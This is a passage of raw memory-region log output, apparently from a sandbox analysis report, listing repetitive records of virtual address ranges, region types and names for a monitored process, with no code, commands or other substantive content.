"private_0x00000000023b0000" filename = "" Region: id = 5265 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5266 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5267 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5268 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5269 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5270 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5271 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5272 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5273 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5274 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5275 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5276 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5277 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5278 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5279 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5280 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5281 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5282 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5283 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5284 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5285 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5286 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5287 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5288 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5289 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5290 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5291 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5292 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5293 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5294 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5295 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5296 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5297 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5298 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5299 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5300 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5301 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5302 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5303 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5304 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5305 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5306 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5307 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5308 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5309 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5310 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5311 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5312 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5313 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5314 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5315 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5316 start_va = 0x2390000 end_va = 0x2394fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002390000" filename = "" Region: id = 5317 start_va = 0x7ff9ff410000 end_va = 0x7ff9ff41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff410000" filename = "" Region: id = 5318 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5319 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5320 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5321 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5322 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5323 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5324 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5325 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5326 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5327 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5328 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5329 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5330 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5331 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5332 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5333 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5334 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 5335 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5336 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 5337 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 5338 start_va = 0x7ff9ff420000 end_va = 0x7ff9ff45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff420000" filename = "" Region: id = 5339 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 5340 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5341 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5342 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5343 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5344 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5345 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5346 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 5347 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5348 start_va = 0x23a0000 end_va = 0x23a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 5349 start_va = 0x7ff9ff460000 end_va = 0x7ff9ff46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff460000" filename = "" Region: id = 5350 start_va = 0x1b5c0000 end_va = 0x1b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 5351 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5352 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5353 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5354 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5355 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5356 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5357 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5358 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5359 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5360 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5361 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5362 start_va = 0x2410000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 5363 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5364 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 5365 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 5366 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 5367 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 5368 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5369 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5370 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5371 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5372 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5373 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5374 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5375 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5376 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5377 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5378 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5379 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5380 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5381 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5382 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5383 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5384 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5385 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5386 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5387 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5388 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5389 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5390 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5391 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5392 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5393 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5394 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5395 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5396 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5397 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5398 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5399 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5400 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5401 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5402 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5403 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5404 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5405 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5406 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5407 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5408 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5409 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5410 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5411 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5412 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5413 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5414 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5415 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5416 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5417 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5418 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5419 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5420 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5421 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5422 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5423 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5424 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5425 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5426 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5427 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5428 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 5429 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5430 start_va = 0x23b0000 end_va = 0x23b6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 5467 start_va = 0x1b6c0000 end_va = 0x1b7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6c0000" filename = "" Region: id = 5468 start_va = 0x7ff9ff470000 end_va = 0x7ff9ff47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff470000" filename = "" Region: id = 5469 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5470 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5471 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5472 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5473 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5474 start_va = 0x1b7c0000 end_va = 0x1b8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7c0000" filename = "" Region: id = 5475 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 5476 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5477 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5478 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5479 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5480 start_va = 0x2410000 end_va = 0x2411fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002410000" filename = "" Region: id = 5481 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5482 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5483 start_va = 0x1b8c0000 end_va = 0x1b9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5484 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5485 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5486 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5487 start_va = 0x23c0000 end_va = 0x23c5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 5488 start_va = 0x7ff9ff480000 end_va = 0x7ff9ff48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff480000" filename = "" Region: id = 5489 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5490 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5491 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5492 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5493 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5494 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5495 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5496 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5497 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 5498 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 5499 start_va = 0x2400000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 5500 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 5501 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 5502 start_va = 0x23d0000 end_va = 0x23dffff 